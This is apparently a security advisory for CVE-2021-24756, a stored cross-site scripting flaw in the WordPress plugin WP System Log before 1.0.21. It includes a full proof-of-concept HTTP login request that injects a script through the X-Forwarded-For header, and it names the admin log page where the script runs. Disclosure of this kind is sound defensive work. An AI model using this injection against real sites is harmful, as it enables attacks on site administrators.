WP System Log < 1.0.21 – Unauthenticated Stored Cross-Site Scripting | CVE 2021-24756

Description

The plugin does not sanitise, validate and escape the IP address retrieved from login requests before outputting them in the admin dashboard, which could allow unauthenticated attacker to perform Cross-Site Scripting attacks against admins viewing the logs.

Proof of Concept

POST /wp-login.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 54
X-Forwarded-For: <script>alert(/XSS/)</script>
Connection: close
Cookie: wordpress_test_cookie=WP+Cookie+check
Upgrade-Insecure-Requests: 1

log=a&pwd=b&wp-submit=Log+In


The XSS will be triggered in the Activity Log dashboard: /wp-admin/admin.php?page=winteractivitylog